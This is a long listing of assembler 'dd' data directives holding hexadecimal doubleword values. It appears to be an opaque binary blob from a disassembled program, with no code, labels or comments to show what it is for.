		dd 37215264h, 8D091D08h, 0F26CC1FAh, 56D55F00h,	60D0548h
		dd 347EC258h, 0F1E70090h, 2E4E528Eh, 79F2C329h,	0FFC92200h
		dd 0A850A040h, 1A5301F8h, 0EB43E655h, 0EC4421E9h, 630C47D8h
		dd 4849D2C1h, 25AF7E98h, 4461ED7Ah, 0A29854B9h,	0B4A4804h
		dd 461AC6Dh, 28A91E83h,	2EE6FA20h, 5C53E24Ah, 0C2B24487h
		dd 0F3474C9h, 48BAA5D8h, 0F0585458h, 8DF11858h,	2DD5F649h
		dd 0B0B4864Fh, 4480F873h, 0D10C01A4h, 49195AA7h, 76DA6C13h
		dd 0B4B6C01h, 1AE4E932h, 38303889h, 0E8906C40h,	78F0C9D2h
		dd 8400B3BBh, 0A9C575EBh, 41DC5970h, 30302EF4h,	0B689F3E9h
		dd 289B2FD8h, 34A63EE1h, 0F0447A94h, 342E4C73h,	0D1BC9B84h
		dd 2DAE51Ch, 0EAC660E7h, 62D702BEh, 0E7767BFh, 0A3122044h
		dd 0B801AE0Ah, 0BF22D539h, 3AE91020h, 1E7C544Eh, 0C4C4F98h
		dd 1278B33Bh, 3A2D7D00h, 62DF5D13h, 1EBB01C8h, 75630D3h
		dd 0E490807Ah, 544A1AC4h, 1D7340h, 9087B23Eh, 611B3AAFh
		dd 0C332470Bh, 0E80499D9h, 0E3ACEA10h, 806168CFh, 7BA1C7DDh
		dd 0FC9EE6Ch, 6E011469h, 0EBF9AD8Ch, 0A68D18C3h, 0B835818Fh
		dd 0BF88302Fh, 7C62E9E0h, 60701B51h, 1D7189F8h,	588DA1Dh
		dd 0B318F3BDh, 0A0044EE4h, 6D05EE13h, 17D4C8A1h, 64907E5Ch
		dd 4CD84A60h, 0E9AE1FB7h, 0CF1030ECh, 0B906121Ch, 0AF20576Eh
		dd 64304848h, 3A129720h, 3446F384h, 25C9632Dh, 28228A5Bh
		dd 64403B38h, 2C992A8Dh, 55142625h, 125CA7B1h, 69380135h
		dd 87861657h, 9DECAD58h, 5E535482h, 0E3E10134h,	34EF2455h
		dd 9907A76Ch, 630CD780h, 0C6626D20h, 0BEE40713h, 0B0117312h
		dd 0F66E77DEh, 0CFB86C02h, 44E8C3E9h, 6DF24440h, 2CC8A54Bh
		dd 21184F40h, 28DBC290h, 0B6080060h, 0ADFD495Fh, 5F9648EAh
		dd 98E80050h, 0FC68BF20h, 48007098h, 0F1B7B2A1h, 47CB585h
		dd 33DA3157h, 6B14E4F2h, 71F32933h, 160BE6Ch, 0D510410h
		dd 0F0D4ECA3h, 89DD0AB6h, 64DC61CBh, 993D0054h,	4657EAB1h
		dd 446080C2h, 12729340h, 479A1F3Ch, 0D4941543h,	0AD37F0Fh
		dd 50D20Bh, 2B1FBC09h, 0E8F087CBh, 8CBCC839h, 0E616C016h
		dd 2350E947h, 214968B9h, 94B25748h, 51D1097h, 21028D10h
		dd 6A96E3F4h, 550E2005h, 4C4B8840h, 70E2BAE1h, 82844ED5h
		dd 92403B60h, 6E063620h, 0DF02E9D9h, 7D891870h,	45570854h
		dd 7368F06Fh, 8755AA00h, 9B460Ah, 0AFFDF86Dh, 4D1A49BCh
		dd 2638E700h, 96C8ADD9h, 90A2757h, 6DC0388Eh, 0EA063282h
		dd 61A78D00h, 297D192Fh, 8494B8C8h, 0B23202C8h,	6F54F5E4h
		dd 0C306444h, 0B198F824h, 2010983Ah, 599D78C5h,	952A17E0h
		dd 310C82C0h, 0E3884909h, 0C142C19h, 0E8CA6E6Bh, 6898A121h
		dd 0F290F201h, 1909AC5Bh, 0A750187Ch, 42678998h, 5721E530h
		dd 0D056DB90h, 87710h, 0F5FB7D29h, 19576AA8h, 986149h
		dd 0AF3EF4EFh, 0F07C130Fh, 0D6D80A2Ah, 862060A2h, 316FB157h
		dd 6CFDF32Eh, 0C31A6600h, 7C4DB847h, 0B0325056h, 81E4873h
		dd 3695E10h, 270B5244h,	0E183AB2Dh, 18848C2Bh, 0D1592356h
		dd 7261390h, 6AD5BF90h,	7F9C90C1h, 0DAD71ADBh, 0F041896Ch
		dd 0B6A4CBECh, 0C65625B4h, 3DD5188Ch, 4B681663h, 405A3604h
		dd 108054EAh, 3283DCh, 486F221Ch, 0F9B8D961h, 97A54502h
		dd 0A2D057ADh, 6A3FC508h, 424C5950h, 28DC895Fh,	0A6C068ACh
		dd 16DBA89Ch, 1DF3CF63h, 3D2D4024h, 96D83F88h, 47814907h
		dd 3E15C067h, 84A203C0h, 0EF530B38h, 0D0E0FED5h, 5618CB02h
		dd 5458857Ch, 9B0A2651h, 971B056Ch, 387883B7h, 0D88039E2h
		dd 0D8E02A2Bh, 0DAE93E09h, 7B1424ABh, 0A4386025h, 0E913B60Ah
		dd 90844D34h, 3800BC95h, 8877FFA6h, 2EA40042h, 8986B69Eh
		dd 0E100467Ah, 0B9A7E094h, 4A3459A8h, 0C7C804A1h, 373980C0h
		dd 89014C1Ah, 0D5FD3D63h, 0B4713049h, 8C84542Bh, 568C3D9Eh
		dd 42106A3Dh, 781A4312h, 43C148C8h, 0AC8C4A85h,	1084B521h
		dd 0C4F8E8ECh, 0ECE54E8Ch, 672D282Ch, 70666C42h, 8CF05508h
		dd 0D1E904A6h, 386200E6h, 0F0D78AD6h, 0EAC1E6E4h, 10509496h
		dd 0C8558BB4h, 36563484h, 7118740Ch, 0DA252E79h, 0C3E49368h
		dd 903931E1h, 6B570911h, 85671C60h, 0CA7002F7h,	0FA8CD5D6h
		dd 0FEFA2858h, 7E0E5E04h, 0CCF81757h, 6D2BA600h, 0BA67506Ch
		dd 7607DCBAh, 8248C2EAh, 496082BBh, 0BE30002Fh,	0A91DE5E6h
		dd 2101EAA5h, 1897D58Fh, 0FC40BC2Ch, 0CF6B15F0h, 0B30BA8EBh
		dd 68685712h, 0D1802470h, 0E9100954h, 800F0ABh,	0A2F6814Ch
		dd 19BBB201h, 5B7F460Bh, 0FE30E056h, 3540C4BCh,	82E8FCB1h
		dd 0C8DEC251h, 484CEC60h, 0B0D0D055h, 0C676E900h, 3EC4E203h
		dd 0D908DC51h, 9C7CAC6Eh, 0D9F95667h, 3C60A59Ch, 2C949FDAh
		dd 0B6CD049h, 933BA357h, 5252709Ch, 563105E4h, 64F38453h
		dd 7EB92979h, 394287E4h, 0B49A991Ah, 3621056h, 4298F913h
		dd 880BCD0h, 4928E9CBh,	0D300B090h, 392E5545h, 3CDE43Eh
		dd 6210E246h, 6CE90ECCh, 0F2884083h, 0F30055C3h, 4BE1C82Ah
		dd 24BAD767h, 41DCFE73h, 8415AEC2h, 0D43BCD61h,	0CA2720E2h
		dd 96A9B800h, 5813D933h, 2009B4DBh, 7DC584Fh, 0ECBE8AEBh
		dd 0F0E6D589h, 1761BA48h
		dd 14D52B40h, 0B0DCE182h, 3C68DF56h, 0B54B8941h, 0C093F849h
		dd 82F46104h, 0B3C1B4E0h, 8E10D361h, 71C43BC6h,	59D00EEEh
		dd 8F89D5E1h, 0AC56E484h, 0E940C20Ch, 0CE04E8F1h, 0F70B0046h
		dd 0EDD73F63h, 54B0260Dh, 2E23C0CBh, 2FBBA440h,	107028CDh
		dd 4F110364h, 6E0B579Ah, 0DEAC2800h, 3161C782h,	28551AE5h
		dd 9CE2187Ch, 28FD6961h, 0E39DC488h, 0B2893E01h, 0ACF854BAh
		dd 968CC474h, 887030C9h, 1600BC25h, 48D4151Eh, 3CC2A000h
		dd 7B569EEFh, 44D57E17h, 0DD680480h, 126496BAh,	3988B4E4h
		dd 4B93182Dh, 0B73FE074h, 0BF491D23h, 0D5B844A2h, 6BA0D0DCh
		dd 0D891A676h, 6285EA8Bh, 0BB3C6040h, 7C9C7CE2h, 564C300Ch
		dd 0D55CE818h, 4019E630h, 6C7EAFh, 3EECB13Dh, 76C187CDh
		dd 4CB87097h, 3A09A033h, 30F1098Fh, 4D6AC204h, 0B4409CBDh
		dd 80424BEDh, 550BD550h, 3DFA1492h, 310ED700h, 0C7621A48h
		dd 0CD0F1488h, 6B01E4ACh, 0E9397C4Dh, 70852F14h, 41C2E8BCh
		dd 2064989Dh, 8B49560Ah, 0DA45B4A6h, 0DC57F490h, 88859F50h
		dd 62F89C1Eh, 3912D742h, 3034970Ah, 4AD522DBh, 0A416BE4Bh
		dd 88E818D8h, 0A50096E6h, 709A3A6Eh, 396FE719h,	88264640h
		dd 97320368h, 81E41F9Ch, 0FA7D14h, 5874054h, 89E92305h
		dd 84905579h, 1EC10809h, 0EA4AAC07h, 0C83113A0h, 902FDCA0h
		dd 2C6C6EEDh, 499474D5h, 0FAA13C00h, 4501501Ah,	0D5BDDB62h
		dd 0E200836Fh, 16BDE5DFh, 1A484A0h, 74A85419h, 0D7ED9F7Bh
		dd 8897CC2h, 0CC4BCCF1h, 0C09A5BC0h, 33F1ED40h,	61023825h
		dd 1D7A1F8h, 68C2BE18h,	2367D957h, 75E905A8h, 0E08C18EBh
		dd 587FF441h, 0C98048DAh, 0FC1BC23Fh, 48E720C0h, 4B33E4E1h
		dd 2FA08BFAh, 732044EBh, 0E45B84E2h, 0C2C2AC33h, 79B08B60h
		dd 0B1DC80F4h, 9DE6D67Eh, 0E12BD40Bh, 344598h, 0D18157ACh
		dd 1B34E952h, 10ED7888h, 0D5DC4293h, 2043CBADh,	1FA685A0h
		dd 0BB70FB00h, 0F4752E53h, 48524DD5h, 1BA1D05Ch, 88083A93h
		dd 0A7EB0CB3h, 34502F18h, 372C63ACh, 250088CEh,	3F66940Eh
		dd 857A01D1h, 4DEA143Ch, 0C4232B05h, 0A2E10F39h, 0BB61BCC3h
		dd 7825313Ah, 86380A0h,	73D175A5h, 6AA801FEh, 62E9C39Fh
		dd 5679852Eh, 0E400401Bh, 0B24D5C21h, 7EE60223h, 99B8033Ch
		dd 60D8F0E2h, 704A444Ah, 269890h, 0B13EBD05h, 981698F2h
		dd 2C84B31Fh, 0E904486Ah, 3A02A3A5h, 0C05616BEh, 4368D240h
		dd 0BF8216D3h, 0F52004B7h, 0D5E901F9h, 5880AE51h, 3A8ECCA4h
		dd 5FB01A20h, 0FD274300h, 0B2CDEB6Dh, 10785808h, 2EF2D300h
		dd 0DB6150D0h, 0E3EC9A0Bh, 436C0094h, 0BFF14BC2h, 1E15AC9Ch
		dd 9C03CD3h, 0E004576Ah, 7CDED1Ch, 16247919h, 2584FAFDh
		dd 38897042h, 6C56A84Ah, 205A3511h, 0E6AE3D90h,	0EA80829Dh
		dd 0D3DCA0A8h, 0C0032Ah, 0FB868538h, 0D915DDAFh, 0C3963201h
		dd 5A17C240h, 361C207Eh, 72602956h, 0B86148A8h,	67F60594h
		dd 0F045579Ch, 0E9134744h, 0F01E5165h, 0F7D83FC0h, 7F2F950Fh
		dd 6DB800A1h, 0F589FFD0h, 5C1FD9FAh, 820062F1h,	3798A649h
		dd 6A4001C4h, 0BBE68907h, 31F8818Ah, 868FE096h,	79176027h
		dd 0E6A84970h, 0D67FF420h, 784C8A18h, 0ACC0B540h, 0AA7B1ED5h
		dd 5459E4h, 0D23A6D52h,	0DE14EDB5h, 7C080768h, 0F207A57Ah
		dd 7399744Bh, 89ECE8CEh, 2482E031h, 0D400FDABh,	0AAFF70h
		dd 0BFE43F5Dh, 62140553h, 2D6EC403h, 0B049984Ch, 580CC61h
		dd 55F2B701h, 34A8E00Bh, 58DA5402h, 7877EAF4h, 679905ACh
		dd 0CCD96147h, 0F041D3A0h, 30C1D7FCh, 3F1801DFh, 9D0B09CFh
		dd 0D4621972h, 0FF7C0313h, 86F0C68Dh, 9A001856h, 3AAD375Ch
		dd 980AF1A2h, 0E4D89620h, 0C4D52053h, 0CC8495CCh, 6114C91Ch
		dd 2264718Ch, 3464D7D4h, 17B2D0E8h, 0E4018C05h,	0F06C584Ah
		dd 707B060h, 0B4238C7h,	47C84011h, 3D13D68Eh, 0FEE0DC2h
		dd 10F9EB90h, 0E600DAB0h, 0C17F6AD5h, 3E305758h, 98317FAFh
		dd 85026B71h, 0ED26D0DAh, 701330BAh, 0DC3D38B1h, 0C4F9FACBh
		dd 0D6A7B821h, 106625A4h, 4086D525h, 4E243EECh,	0FBB093BBh
		dd 0D9D6DA90h, 8881494Fh, 312F100Bh, 4875188h, 319ED007h
		dd 0D73E4E10h, 6F2E387Ah, 0BB9EC7Ch, 0DA76F510h, 0F1D8CC60h
		dd 70503D69h, 0D1370364h, 2C35C257h, 748CE04Ah,	0BC77003Fh
		dd 0EF6D3947h, 82009A3Eh, 0D210AD02h, 3CFF01FEh, 0E93A8E32h
		dd 3574C2DEh, 0E8767CC2h, 0BFC29645h, 0B0CC4E8h, 3A70D868h
		dd 820198F1h, 0B5290CF8h, 6C80F063h, 0C15CB041h, 0A077DD30h
		dd 2DE94C09h, 58B8A5E7h, 0E8B02F1Fh, 0B4564A20h, 63F48E78h
		dd 0EE6E08A0h, 0D1078F1Ah, 4558833Ah, 0A3096820h, 0E490008Ah
		dd 0F098C8AEh, 9702549Eh, 0C1A1EF01h, 687E0Fh, 1B95BE49h
		dd 0CB1A1D56h, 0D3087F89h, 0D8D03404h, 3B4EEABCh, 0E68500Bh
		dd 0ECC2E2F8h, 0C8BE00D6h, 4E04C061h, 0E575B8FFh, 0C45CFC83h
		dd 0AB1A74C1h, 84309025h, 0EFBC128Ah, 0D44832A6h, 5787B0F4h
		dd 48CBEC2Eh, 26EE43Ch,	60D89EEFh, 60D19338h, 17FC5108h
		dd 0E53433A5h, 0D5D0A48Ch, 0E4809E2Dh, 842C9630h, 1928366h
		dd 0B891D8F8h, 7E6A81DCh, 213B0048h, 0E3E53A6Ch, 1497BD1Dh
		dd 3FE9038Ch, 0CB36C789h, 14C6D025h, 8CC4A068h,	0E130C1CFh
		dd 22968F48h, 0A7ED0120h, 5E494B33h, 51F81C70h,	0CC30F56Ch
		dd 436F0715h, 0EBECDB5Dh, 549E10F2h, 0A8983A44h, 84564ED5h
		dd 1044A80Ch, 0C15E6749h, 3E685768h, 1245B40Bh,	0F1B87884h
		dd 0EA279836h, 7C58A8CAh, 0A11C1A00h, 7DAF3FAAh, 0FB541E80h
		dd 0DB78F058h, 44FA2484h, 0E60B51F0h, 2EBEF2Dh,	489AF068h
		dd 17E7860h, 0EDBE29E5h, 445018F4h, 1684E808h, 3CC19F57h
		dd 88326140h, 0C058B296h, 569489BBh, 1278BE8Ch,	0E4000E73h
		dd 6CCBC483h, 8620800h,	920E4E52h, 11E6F9h, 8A2D43D2h
		dd 0C1821F14h, 0DCB689ECh, 20855767h, 0A11D9000h, 16E03F6Ah
		dd 1CB8F45h, 6DE4ED5Bh,	0B64D60F4h, 99C1840Ch, 0A0BF4088h
		dd 698FC2FCh, 4C521075h, 0B5FBD912h, 24F88B7h, 0BF3EDD1Ch
		dd 3F02DC08h, 9C208E9h,	50C5A80Bh, 0EA8B30A4h, 68D0B8ACh
		dd 84444F57h, 884CD910h, 248AC818h, 9593006Ch, 85675CE1h
		dd 0B3435D00h, 0C1BB1DC9h, 5B3C9AC3h, 36508C3Fh, 0B9BF744h
		dd 0A3416B12h, 0EA065871h, 25B06011h, 0F068EC35h, 0A89C9347h
		dd 0C4615741h, 0E208438h, 209C2E9Fh, 0AD92A4E1h, 909652F3h
		dd 19D2D5C2h, 0F20BA400h, 898601E0h, 0C1E14BC3h, 2251A5E2h
		dd 80CCFD18h, 0E4BF4998h, 5E61E2D6h, 57282063h,	88C72824h
		dd 3B11A3F5h, 108452A9h, 0C899A444h, 0D5134DC8h, 1C406C9Ah
		dd 303755DBh, 4024B493h, 0EC345643h, 8A26E9E8h,	389645Eh
		dd 0FB000213h, 8828DC17h, 6300A3FDh, 0B23EE1C8h, 1AAFF076h
		dd 3853FEE9h, 9E123580h, 0CF00B499h, 0FABC3B1Eh, 0FE74EC8h
		dd 0BE34EA15h, 0AC5AE329h, 2422D420h, 4210D86Bh, 86C1614Bh
		dd 6067C953h, 5582220Ch, 7F175898h, 740BF24Fh, 0BF7D854Ah
		dd 7213C0A8h, 0C6F4CC1Dh, 885049h, 0D8F5FE63h, 95A96C46h
		dd 0C931CCA2h, 0A08D0705h, 6CEF9442h, 0E5E013B8h, 39502240h
		dd 523B3F20h, 7090BD66h, 0FF603EC2h, 0FD318348h, 0ED9E036Bh
		dd 3614C0F0h, 0DC3D2803h, 0B8B1BE6h, 175C240h, 14983C94h
		dd 0BF033CB1h, 92C243E8h, 40D87E8Bh, 0D3EC1E0Ch, 4C501205h
		dd 481958Ah, 302043B5h
		dd 791926AEh, 985A09B2h, 9A4DF001h, 21C1E5CFh, 57F040FBh
		dd 395BEFDh, 0D0C4092Ch, 51DB6Dh, 19FA5995h, 0A93D5F48h
		dd 0DE15D902h, 5E1A3832h, 0E001254Ch, 7529D524h, 0E8D29E80h
		dd 52F413h, 0E1E090B1h,	3C7CBA31h, 531EBBC3h, 0B4E4271Dh
		dd 52F822BDh, 8A00B64h,	6E87D43Bh, 56449A04h, 0F8887EC7h
		dd 95FD04CEh, 80E262FBh, 12D6E608h, 65C2240Ch, 0F8DAD84Fh
		dd 0A05B2EE9h, 0F103001Bh, 7A858CCh, 15042107h,	0FAC0C377h
		dd 3F3706h, 3ED792ACh, 9CA890FDh, 200C6D37h, 0C0888A62h
		dd 18E73458h, 18A06503h, 4E03F1D1h, 878ACC47h, 2D6F801Fh
		dd 4C60C757h, 1C2CCA2Fh, 0EBB68F61h, 1071C383h,	0FB5132D8h
		dd 1FFF6658h, 701F082Ch, 29F54701h, 0C3F365EBh,	9B181444h
		dd 8E034496h, 4E913EF7h, 88001086h, 86CFFEBAh, 6059040Ah
		dd 0C312835h, 91726DE7h, 0DD1B1620h, 0FA8130A0h, 8C00DEC1h
		dd 0B4824674h, 19174BACh, 404A1404h, 91760037h,	9220406Fh
		dd 2B3EDF01h, 0ACA9C7CCh, 0EE3F4ED4h, 90E762DAh, 5D079EFAh
		dd 3E1648E3h, 291874B8h, 0A4F04007h, 87A7F63Bh,	2BB4A61Fh
		dd 1E24D213h, 0EC4A328h, 0C066F13h, 70748C7h, 8EAD0346h
		dd 91043E81h, 98296899h, 19C98C1Eh, 0A43788DDh,	85DC8FC0h
		dd 0CB2976h, 0CCD91930h, 790A7162h, 0B4CAEE69h,	4BD54200h
		dd 3FA1FF22h, 486E3E04h, 9A826DE1h, 0F2BAD0E0h,	0B2C90E0Eh
		dd 7898F1Eh, 0C4C0F454h, 66E0814h, 691700Dh, 630168E9h
		dd 5BCC4F4Ch, 0A1FE9C21h, 0FE1D894Ch, 65031022h, 92CC1F52h
		dd 0C7AE820h, 0AEA691B6h, 88528930h, 4030CE0h, 30A94823h
		dd 6560C2FAh, 0AC20DF44h, 23DB0A07h, 3DAC4BE7h,	18D66818h
		dd 4CF0DCA3h, 0A7920104h, 0C9D1AC8h, 34A41847h,	7F450012h
		dd 0FE8465F1h, 7D59AC00h, 0A79DF339h, 627B3944h, 24E8048Fh
		dd 0F1292E40h, 61E4569h, 0FB4AC425h, 34008C2h, 6042AC5Bh
		dd 919B68F5h, 5A001BF8h, 0C4450E5h, 65B8Eh, 1CD23164h
		dd 0C72C149Ch, 48F7C51Dh, 2BFC9EBCh, 95EC9B0Eh,	0BCA61F0Ch
		dd 6F84619h, 55038C20h,	0CDC6889h, 1AC20AF4h, 41FCCC2Ah
		dd 0D390E6ACh, 0A7916EE0h, 74F03F6Ah, 0DC503012h, 24F00CC4h
		dd 409F315Bh, 33518182h, 0BCF001CCh, 5E389F4Fh,	42B71F80h
		dd 8FDC19h, 9F9C120Dh, 0C09721E1h, 6A00D090h, 4453433Eh
		dd 6E55F1A0h, 9DFC583Ah, 67D824ADh, 0AC060B6Eh,	1F0820B0h
		dd 81554E83h, 8BA3E724h, 6B5C2058h, 3A7D4603h, 90ADC91h
		dd 1AAB3788h, 0CC278820h, 0FB124C57h, 38220BADh, 0C844383h
		dd 58750368h, 0F40E7818h, 81290793h, 10860492h,	0C8EA6900h
		dd 0C43D9B7Ah, 912808Bh, 90F97593h, 699C24A4h, 0AC884264h
		dd 204DB891h, 2609F4ECh, 1CF3ACCh, 2A2CF1DCh, 0D508F180h
		dd 0A955B77Ch, 0D4E0E0FBh, 0F99111C7h, 1090501Ch, 78AC20A3h
		dd 3C74EC1h, 0E441E39Ah, 0C0881C34h, 29008F0Bh,	0CE3FFECAh
		dd 0C0AC1341h, 82280E09h, 24010A80h, 8DF84B03h,	1B50D360h
		dd 304467A1h, 2F61AADCh, 0A524E714h, 960A94CCh,	7904F4A3h
		dd 188CCE29h, 0DA8840E2h, 0D3496A00h, 0F8C5FE52h, 40890632h
		dd 209F46ACh, 0C6C9E1Dh, 9050ECE8h, 0C400FD80h,	7FBF9808h
		dd 1D25617Ch, 0D8043B1Fh, 43ADD0F7h, 0D502EB1Dh, 6D1B1C00h
		dd 0C907B6F1h, 94902978h, 6892FFA4h, 0F95C7F30h, 0F78C6D2h
		dd 4147720h, 0C1188CCDh, 0B7DAFC4Fh, 1D302909h,	244000F7h
		dd 2589226h, 0AC67A04Ch, 869F3ADh, 88FD02BCh, 440978A4h
		dd 2F4C1105h, 3176B840h, 0A4D8E83Ch, 8A911B9Ch,	0A9D230D9h
		dd 95116C60h, 3108BE06h, 2F879B6h, 74892507h, 10494EACh
		dd 52188075h, 44848754h, 7DC13DE8h, 0ED294B87h,	7B5833BFh
		dd 877E10E0h, 0D1F2F600h, 979C20F5h, 0C6C8077Fh, 0ED85F0C4h
		dd 0E055D550h, 1C06121Eh, 7501F16Eh, 0A31000C1h, 0D15FAA73h
		dd 45C20F2h, 0B0B86994h, 5485AC00h, 588784C8h, 9449B863h
		dd 6AF3D805h, 4C18826Eh, 62FA38C0h, 0D198230Ch,	2491107Bh
		dd 0BC5D03h, 1ADA805Ch,	93F0ED71h, 0DE76C498h, 79460903h
		dd 2C557D91h, 24A09028h, 66038420h, 0E0408D26h,	10C5A102h
		dd 7880930Eh, 984E5BFEh, 40F018ECh, 0A418B036h,	8B048D59h
		dd 8E74189Bh, 7BB890EFh, 0C21F2830h, 29FC15F7h,	941078C9h
		dd 917306B3h, 18FEF3h, 0D6607C58h, 761BE65Eh, 0E9A6F139h
		dd 26EE5630h, 0FC6AC010h, 4B9C792h, 83D4483Eh, 5831E010h
		dd 7A78A0E9h, 0F969068Fh, 405580F0h, 18D61628h,	0D9E6911Dh
		dd 40248C29h, 4C5C5420h, 921450A8h, 0BC56A33Eh,	0B40B2E86h
		dd 74175885h, 0DC466C20h, 0AF012ACh, 8B9C278Fh,	80A728A4h
		dd 0FC91725Ch, 0FDA00860h, 1779BA2h, 0AF028362h, 8A07F0h
		dd 9586B15h, 0C73C2BA0h, 4E47B822h, 0E72C3100h,	0B865526Fh
		dd 0B2F0816h, 40B264DCh, 0E0860C41h, 84314CFFh,	38466009h
		dd 780A4300h, 4BB0805h,	0E0906350h, 15711DD7h, 0A01CA091h
		dd 0CA04BC06h, 0FC582087h, 9CDE29B4h, 7B57F900h, 0E8C68Bh
		dd 261CD41Bh, 0C8D173A4h, 61A9DFF1h, 6890A84Ah,	4D39B662h
		dd 56A561E4h, 0B8FFCC30h, 0D4A30D8h, 0E0466370h, 3020AC49h
		dd 0B903E833h, 51608131h, 20738578h, 4A00E675h,	2DF52ABBh
		dd 301EFCBh, 2806A799h,	12E0ABA5h, 0C2F0E582h, 0D190190Eh
		dd 60A7809Bh, 3FABFD83h, 0F8AD87h, 7F1AD3CEh, 283DDE92h
		dd 28C6CB30h, 0B8031806h, 3040C0C9h, 939AE61Bh,	0A7100B60h
		dd 7D3DCE8Fh, 0D9200360h, 0FA8B8812h, 11144AB0h, 8FF0810Ch
		dd 0CEA4815h, 0D0B59116h, 0B9038738h, 0FE76E0BCh, 47AB02h
		dd 0E6239D50h, 989990B5h, 410028D2h, 30DEBF41h,	92743343h
		dd 0A01D2A70h, 0AB44DC18h, 0F8C03E04h, 3E13327Fh, 6F3381E6h
		dd 0A2C043B1h, 8937888Eh, 2C1881Eh, 208166EAh, 6BABBDD3h
		dd 3041800Ch, 0FB02E60Bh, 19C117DCh, 0BD00AB01h, 40ABE19Eh
		dd 1A28C11Fh, 47FE92A2h, 62868044h, 0A90CE145h,	6846C9EFh
		dd 7D4A3AABh, 989DC114h, 0C0F1FA78h, 0FB929A80h, 0CF3C8435h
		dd 304030EFh, 188AA315h, 10444EF0h, 9014FC4Bh, 3084B973h
		dd 0F003708Eh, 209DE9C0h, 70BBC343h, 37DF1FEFh,	1D189C11h
		dd 0D06B9B29h, 1EAE8901h, 1AF1E690h, 1E1761E0h,	563BA66Eh
		dd 0F0EF1E76h, 0E72A5918h, 0F390CF54h, 0A98040E3h, 6D0C20F6h
		dd 50ADC090h, 72B40188h, 43614E50h, 0D06807Ah, 84255CEDh
		dd 4DDE05A8h, 0F89CB36h, 1701D09Ch, 5437E982h, 81F000C8h
		dd 88A434B5h, 0F40A9018h, 435E58h, 0F83317DCh, 98F92872h
		dd 0B8088907h, 987C57ABh, 6422EDD7h, 0B82EC718h, 3189237h
		dd 2A183BADh, 0A2C624F3h, 36273B7Ch, 0C6023A87h, 61522077h
		dd 0C8EF0A8Ch, 7A029817h, 0E0161826h, 65F6D78h,	0F690E7C3h
		dd 0FD006036h, 4E8D9B98h, 0CE95E9h, 14084354h, 0A8914A40h
		dd 0F7ABF616h, 0A5750A80h, 6A2807D4h, 0EEB8F32Fh, 7201EC8Fh
		dd 83495990h, 69AB5450h, 0CD300F3Fh, 20582F85h,	98C19F2Ch
		dd 0ED888FC6h, 71116880h, 28680875h, 788DCC00h,	39AB1EA1h
		dd 2C90A2h, 852EE6CAh, 0DFEFFF80h, 0D1D09C60h, 7E6D67CFh
		dd 0CB494Dh, 5073BC42h,	24FB802Bh, 28F4C695h, 8C1D4978h
		dd 6EF97409h, 8040FC12h, 84E6F07Ah, 31A10C1h, 0C24EBCCh
		dd 432031F8h, 3201D820h, 2AB30E38h, 8FACC445h, 9C0F5880h
		dd 15F8DE32h, 0E09538E6h
		dd 306D2101h, 48DD43EAh, 0CA5028F0h, 28904944h,	3156206h
		dd 3E20299Eh, 48A0EFFAh, 0F781F06h, 691899h, 95613DD6h
		dd 816B2DDh, 4199220h, 790701Ch, 96494A3h, 9504C180h, 91889645h
		dd 601E4D24h, 0D7939041h, 0AFC73085h, 0B9C40021h, 0F5DFB60h
		dd 0CF949B20h, 73E3B751h, 91881B2Ah, 0C0A04964h, 0AC61AB62h
		dd 85B18229h, 70868425h, 11220E02h, 0A4AC334Ch,	0B12A9808h
		dd 0E4D3A4A1h, 94A4DE43h, 70004092h, 60DDBD66h,	7EB98825h
		dd 404D0FCCh, 45A0A41Bh, 0EE8DABDFh, 2B323D01h,	0E9306BE6h
		dd 2410B821h, 3302C6F1h, 0CC111290h, 7012A0C3h,	601D711Eh
		dd 0D9C40020h, 435FDD8Fh, 0E01CB5Eh, 1DE26876h,	10BE8DC3h
		dd 50C8629h, 0B9AD8ABh,	5409A380h, 0A1636C22h, 79AB5801h
		dd 8FF021A9h, 2184F5A8h, 1F1490B4h, 72165F23h, 10440AB8h
		dd 64029589h, 8849B1ABh, 0D367DC6Fh, 88228100h,	0FEE0EE8Fh
		dd 31821529h, 104DB47Eh, 0DE22B710h, 27172B01h,	14600633h
		dd 9DBE0048h, 66A0A2CEh, 70E1E6F3h, 0E42823BCh,	0A6209478h
		dd 0E3D00E97h, 0E889031Dh, 0F32B0403h, 0FDAC2018h, 58A91010h
		dd 0FBCA94E2h, 31DB139Ch, 0A5264h, 9A35366Eh, 5A78A0FCh
		dd 29EB26ABh, 7A41E14h,	0AEA3282Ah, 7A1E0C9Fh, 0D85280F0h
		dd 94011088h, 6732B258h, 8E04E49h, 178073C7h, 630F0E71h
		dd 914B53CAh, 9E9A6018h, 3C398C00h, 3BF8FDCh, 0A0536772h
		dd 9EA905Dh, 9A002F02h,	0B8645E6Dh, 10CEA5F1h, 0B21B4ABh
		dd 9B1ED381h, 90A9BA10h, 4C1CD7E4h, 0F3020C4Dh,	0CE39CB25h
		dd 7F124444h, 0C400B9B6h, 0EC5BF043h, 510617A6h, 0D1001B1Ch
		dd 190E4FE3h, 0CF680792h, 19CC0C9h, 0A19F64ABh,	80734B84h
		dd 14003726h, 0FB10A0F9h, 0F39C2420h, 90059C2Bh, 0BC0A262Dh
		dd 0B600F887h, 9E9B0102h, 9D3C01B3h, 0A5BD07ADh, 976831E3h
		dd 8C003938h, 4CE622D8h, 51498C3h, 0D16CCB3Eh, 5ECC01D4h
		dd 40D8DF03h, 0C6CE29FCh, 90140680h, 0B12231A0h, 34B20810h
		dd 0D4B32048h, 44843914h, 0AB504CE8h, 3330EF30h, 6A134811h
		dd 0EEA3005Fh, 7D59CDC4h, 567315E8h, 8090210h, 4FDC6200h
		dd 70F05E96h, 0ECC184Dh, 8ACF5D29h, 203DB46Bh, 0FB4B00EBh
		dd 65AAC0F9h, 0AB173663h, 0D2800E89h, 92F1FA0Fh, 6614A05Ch
		dd 8CA9D009h, 0F1CDEFA0h, 48350C3h, 49BCC3AEh, 6E09A4B1h
		dd 48313E2Dh, 0F502E6CFh, 0D88945h, 0E632DA4Ch,	5054B275h
		dd 381380A4h, 839088A3h, 299C581Eh, 8D129868h, 6F032401h
		dd 0B8746EF5h, 9907E623h, 128CA618h, 76302716h,	0C3172898h
		dd 0F45C32DFh, 78501918h, 437CECh, 67F67FB6h, 4D34F428h
		dd 4BEABA07h, 0A4193305h, 28000FD8h, 0B479B3F1h, 0EFC35A06h
		dd 40511B32h, 75309067h, 0A537A899h, 0DF2F1272h, 0ADA0001Dh
		dd 590311E2h, 88301273h, 0F80F307Fh, 32B8A6E3h,	0ED20EE30h
		dd 293E4450h, 92A101F6h, 9E7AAB18h, 6F0D2864h, 1C89715Eh
